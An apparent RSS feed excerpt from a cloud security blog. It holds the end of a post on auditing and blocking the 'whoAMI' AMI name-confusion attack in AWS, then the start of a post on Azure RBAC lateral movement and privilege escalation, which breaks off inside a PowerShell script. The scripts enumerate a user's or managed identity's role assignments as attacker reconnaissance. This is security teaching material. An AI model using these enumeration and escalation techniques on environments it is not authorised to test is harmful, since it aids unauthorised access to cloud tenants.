         &lt;code&gt;&lt;span&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; GOBIN&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;/usr/local/bin/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;go&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/DataDog/whoAMI-scanner@latest&lt;/span&gt;&lt;/code&gt;
        &lt;/div&gt; 
        &lt;br&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span&gt;Then we can run the tool to scan our account's AMIs.&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &amp;nbsp;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; whoAMI-scanner --profile dev --region us-east-1 --verbose&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&amp;nbsp;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[ &#x1f440; whoAMI-scanner v1.0.0 &#x1f440; ] AWS Caller Identity: arn:aws:iam::111111111111:user/dev_user&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[&lt;span style="color: #7303c0;"&gt;*&lt;/span&gt;] Verbose mode enabled.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[&lt;span style="color: #7303c0;"&gt;*&lt;/span&gt;] Starting AMI analysis...&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[&lt;span style="color: #7303c0;"&gt;*&lt;/span&gt;] [us-east-1] Allowed AMI Accounts status: Audit mode&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[1/3][us-east-1] ami-05b10e08d247fb927 being analyzed (Instance: i-0fcc6ee95cac86d93)&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[1/3][us-east-1] ami-05b10e08d247fb927 is a community AMI from an AWS verified account.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[2/3][us-east-1] ami-0010edd796fd9c04d being analyzed (Instance: i-017f0fad886bbe247)&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[2/3][us-east-1] ami-0010edd796fd9c04d is a AWS marketplace AMI from a verified account.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[3/3][us-east-1] ami-04b4f1a9cf54c11d0 being analyzed (Instance: i-0fed27593d49ac4fc)&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[3/3][us-east-1] ami-04b4f1a9cf54c11d0 is a community AMI from an AWS verified account.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;br&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;Summary Key:&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;+-------------------------------+-----------------------------------------+&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Term | Definition |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;+-------------------------------+-----------------------------------------+&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Self hosted | AMIs from this account |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Allowed AMIs | AMIs from an allowed account per the AWS Allowed AMIs API |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Trusted AMIs | AMIs from an trusted account per user input to this tool |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Verified AMIs | AMIs from Verified Accounts (Verified by Amazon) |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Shared with me (Private) | AMIs shared privately with this account but NOT from a |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | verified, trusted or allowed account. If you trust this |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | account, add it to your Allowed AMIs API or specify it as |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | trusted in the whoAMI-scanner command line. |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Public, unverified, but known | AMIs from unverified accounts, but we found the account |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | ID in fwdcloudsec's known_aws_accounts mapping: |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | https://github.com/fwdcloudsec/known_aws_accounts. |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | These are likely safe to use but worth investigating. |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| Public, unverified, &amp;amp; unknown | AMIs from unverified accounts. Be cautious with these |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | unless they are from accounts you control. If not from |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | your accounts, look to replace these with AMIs from |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;| | verified accounts |&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;+-------------------------------+-----------------------------------------+&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;br&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;Summary:&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; AWS's "Allowed AMI" config status by region&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Enabled/Audit-mode/Disabled: 0/1/0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Total Instances: 3&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Total AMIs: 3&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Self hosted AMIs: 0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Allowed AMIs: 0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Trusted AMIs: 0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Verified AMIs: 3&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Shared with me (Private) AMIs: 0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Public, unverified, but known: 0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Public, unverified, &amp;amp; unknown AMIs: 0&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;br&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt;[&lt;span style="color: #7303c0;"&gt;!&lt;/span&gt;] Looks like you have started to use AWS's "Allowed AMIs" feature.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Only configuring "Allowed AMIs" in "enabled" mode protects you against the whoAMI attack.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&lt;code&gt; Visit https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-allowed-amis.html for more information.&lt;/code&gt;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span style="font-size: 20px;"&gt;&amp;nbsp;&lt;/span&gt;
         &lt;br&gt;
         &lt;br&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span&gt;In these results, we can see where the AMIs are coming from which we can use to help craft our Declarative Policy.&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 16px;"&gt;
         &lt;span&gt;&amp;nbsp;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 16px;"&gt;
         &lt;span&gt;&amp;nbsp;&lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 16px;"&gt; 
         &lt;h2&gt;Bottom Line&lt;/h2&gt; 
         &lt;p&gt;&lt;span style="font-size: 18px;"&gt;The whoAMI attack exploits missing owner validation in AMI lookups, but AWS Declarative Policies provide a cloud-native guardrail that enforces AMI source restrictions at the organizational level—use audit mode first with whoAMI-scanner to identify existing violations, then enforce enabled mode to block unauthorized AMIs from new deployments.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
         &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Wrap-Up and Resources &#x1f5de;️&lt;/span&gt;&lt;/h2&gt; 
         &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
         &lt;div&gt; 
          &lt;div&gt;
           &lt;span style="font-size: 18px;"&gt;In this blog post, we've learned about the whoAMI attack discovered by Seth Art and how to prevent it using AWS Declarative Policies. We've also learned to audit AWS accounts' AMI usage with the&lt;span style="font-size: 20px;"&gt; &lt;code&gt;whoAMI-scanner&lt;/code&gt;&amp;nbsp;&lt;/span&gt;tool.&lt;/span&gt;
          &lt;/div&gt; 
          &lt;br&gt; 
          &lt;div&gt;
           &lt;span style="font-size: 18px;"&gt;Here are some additional resources to help you learn more about the topics discussed in this blog post:&lt;/span&gt;
          &lt;/div&gt; 
          &lt;div&gt;
           &lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;
          &lt;/div&gt; 
          &lt;ul&gt; 
           &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;a href="https://securitylabs.datadoghq.com/articles/whoami-a-cloud-image-name-confusion-attack/"&gt;whoAMI: A cloud image name confusion attack&lt;/a&gt;&lt;/span&gt;&lt;/li&gt; 
           &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;a href="https://github.com/DataDog/whoAMI-scanner"&gt;whoAMI-scanner&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt; 
           &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_declarative.html"&gt;Declarative Policies&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt; 
           &lt;li&gt;&lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_declarative_syntax.html#declarative-policy-examples"&gt;&lt;span style="font-size: 18px;"&gt;Declarative Policy Syntax&lt;/span&gt;&lt;/a&gt;&lt;/li&gt; 
          &lt;/ul&gt; 
          &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
         &lt;/div&gt; 
        &lt;/div&gt; 
       &lt;/div&gt; 
      &lt;/div&gt; 
     &lt;/div&gt; 
    &lt;/div&gt; 
   &lt;/div&gt; 
  &lt;/div&gt; 
 &lt;/div&gt; 
&lt;/div&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fdefending-against-the-whoami-attack-with-aws-declarative-policies&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>AWS</category>
      <category>Blue Team</category>
      <pubDate>Thu, 06 Mar 2025 12:15:14 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/defending-against-the-whoami-attack-with-aws-declarative-policies</guid>
      <dc:date>2025-03-06T12:15:14Z</dc:date>
      <dc:creator>Tyler Petty</dc:creator>
    </item>
    <item>
      <title>Climbing the Azure RBAC Ladder</title>
      <link>https://blog.pwnedlabs.io/climbing-the-azure-ladder-part-1</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/climbing-the-azure-ladder-part-1" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/climbing_the_azure_rbac_ladder.png" alt="Climbing the Azure RBAC Ladder" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 20px;"&gt;Join us in this new blog post as we explore the various methods that threat actors commonly use to move laterally and escalate privileges in Azure.&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 20px;"&gt;Join us in this new blog post as we explore the various methods that threat actors commonly use to move laterally and escalate privileges in Azure.&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; Azure privilege escalation exploits RBAC misconfigurations through service principal compromise, overly permissive role assignments (Owner, User Access Administrator), managed identities without credential rotation, and lateral movement via stolen tokens - defenders must enforce least-privilege RBAC, regularly audit role assignments, implement just-in-time access, and rotate credentials immediately upon compromise detection.&lt;/span&gt;
&lt;/div&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h1 style="font-size: 32px;"&gt;What are lateral movement and privilege escalation?&lt;/h1&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;span style="font-weight: normal;"&gt;Lateral movement and privilege escalation &lt;/span&gt;are two distinct yet related techniques commonly used by attackers during the exploitation and compromise of a system or network. Attackers often attempt to escalate privileges on a compromised system (e.g., a domain-joined machine in Active Directory) to access sensitive data, such as account password hashes. They can then try to use this information to move laterally within the network. Below, we provide brief definitions of these two terms:&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span style="font-weight: normal; color: #ec38bc;"&gt;Lateral Movement&lt;/span&gt; refers to techniques that enable threat actors to pivot from one identity, host, resource or service to another within an environment, aiming to further compromise the environment and increase their level of access within them.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="color: #ec38bc;"&gt;Privilege Escalation&lt;/span&gt; &lt;/span&gt;involves adversaries using techniques to gain higher-level permissions in the environment.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;In Azure, privilege escalation refers to the process where a threat actor gains permissions within an Azure environment, e.g. at the level of an Azure subscription, Entra ID tenant, or Resource Group, which is more privileged than those originally assigned to the compromised identity. This can involve exploiting misconfigurations, improper permissions, or weaknesses in identity management and access controls. To increase access in the cloud, we're required to undertake a continuous cycle of enumeration, lateral movement, persistence and privilege escalation.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Dec-10-2024-03-48-35-6633-PM.png?width=2160&amp;amp;height=798&amp;amp;name=image-png-Dec-10-2024-03-48-35-6633-PM.png" width="2160" height="798"&gt;
&lt;br&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;Understanding privilege escalation vectors in Azure is crucial for offensive security professionals who test and defend Azure environments. As defenders, deepening our understanding of these offensive techniques allows us to secure sensitive resources, prevent unauthorized access, and mitigate risks by implementing stricter access controls and monitoring for unusual activities.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;In this blog post, we will explore some common privilege escalation techniques that leverage RBAC roles to grant access to additional Azure resources. In a follow-up post, we will explore how threat actors can abuse common Entra ID roles and permissions to move laterally within an Azure tenant and escalate privileges by compromising high-privilege accounts.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Getting situational awareness&lt;/span&gt;&lt;span&gt;&amp;nbsp; &#x1f52d;&lt;/span&gt;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;When assessing the security of an unfamiliar Azure environment or of a new execution context, one of the key tasks is to get an understanding of the roles that identities such as users, managed identities and service principals have been assigned. &lt;span&gt;&lt;a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/overview"&gt;Azure Role-Based Access Control (Azure RBAC)&lt;/a&gt; includes several built-in roles that administrators can assign to identities (such as "Reader" and "Contributor"), allow the identities to access and manage Azure resources. If the built-in roles don't meet a specific requirement, custom &lt;a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles"&gt;Azure roles&lt;/a&gt; can also be created.&lt;/span&gt;&lt;br&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;It's important to note that RBAC roles can also be inherited through nested group memberships. When an Azure RBAC role is assigned to a group at a specific scope (e.g., a virtual machine resource), all members of that group—including those in nested groups—will inherit the assigned role.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Dec-10-2024-12-33-45-9997-AM.png?width=1688&amp;amp;height=1468&amp;amp;name=image-png-Dec-10-2024-12-33-45-9997-AM.png" width="1688" height="1468"&gt;&lt;/p&gt; 
&lt;p style="font-size: 16px;"&gt;&lt;a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/media/overview/rbac-overview.png" style="font-style: normal;"&gt;Image source: Microsoft Learn&lt;/a&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;You can easily identify all RBAC roles assigned to an Entra ID &lt;span style="color: #ec38bc;"&gt;user&lt;/span&gt; account by making appropriate Azure REST API calls. The following script demonstrates this process and requires the user to authenticate to Azure using the &lt;code&gt;Az PowerShell&lt;/code&gt; module.&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span&gt;&lt;br&gt;&lt;code&gt;$userUPN = (Get-AzContext).Account.Id&lt;/code&gt;&lt;br&gt;&lt;code&gt;$subscriptionId = (Get-AzContext).Subscription.Id&lt;/code&gt;&lt;br&gt;&lt;code&gt;$user = Get-AzADUser -UserPrincipalName $userUPN&lt;/code&gt;&lt;br&gt;&lt;code&gt;$userId = $user.Id&lt;/code&gt;&lt;br&gt;&lt;code&gt;$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token&lt;/code&gt;&lt;br&gt;&lt;code&gt;$apiVersion = '2022-04-01'&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&amp;amp;`$filter=assignedTo('$userId')"&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$requestParams = @{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; Method &amp;nbsp;= 'GET'&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; Uri &amp;nbsp; &amp;nbsp; = $uri&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; Headers = @{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Authorization' = "Bearer $armtoken"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$response = Invoke-RestMethod @requestParams&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;# Get role definitions&lt;/code&gt;&lt;br&gt;&lt;code&gt;foreach ($assignment in $response.value) {&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionId = $assignment.properties.roleDefinitionId&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdParts = $roleDefinitionId -split '/'&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdFinal = $roleDefinitionIdParts[-1]&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; $roleDefinition | Format-List *&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;This script can also be modified to retrieve the assigned RBAC roles for a &lt;span style="color: #ec38bc;"&gt;system-assigned managed identity&lt;/span&gt;. If we authenticate to Azure using the Managed Identity of e.g. a Function App, we can easily adjust the scope and identify the assigned RBAC roles with the following script:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;code&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;$resourceGroupName = "your-resource-group-name"&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$functionAppName = "your-function-app-name"&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$subscriptionId = (Get-AzContext).Subscription.Id&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$scope = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites/$functionAppName"&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$managedIdentity = Get-AzSystemAssignedIdentity -Scope $scope&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;if ($managedIdentity -eq $null) {&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Write-Host "System Assigned Managed Identity not found." -ForegroundColor Red&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; return&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$managedIdentityId = $managedIdentity.PrincipalId&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$apiVersion = '2022-04-01'&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&amp;amp;`$filter=assignedTo('$managedIdentityId')"&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$requestParams = @{&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Method &amp;nbsp;= 'GET'&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Uri &amp;nbsp; &amp;nbsp; = $uri&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; Headers = @{&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Authorization' = "Bearer $armtoken"&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;$response = Invoke-RestMethod @requestParams&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;foreach ($assignment in $response.value) {&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionId = $assignment.properties.roleDefinitionId&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdParts = $roleDefinitionId -split '/'&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinitionIdFinal = $roleDefinitionIdParts[-1]&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; $roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal&lt;/span&gt;&lt;br&gt;&lt;span 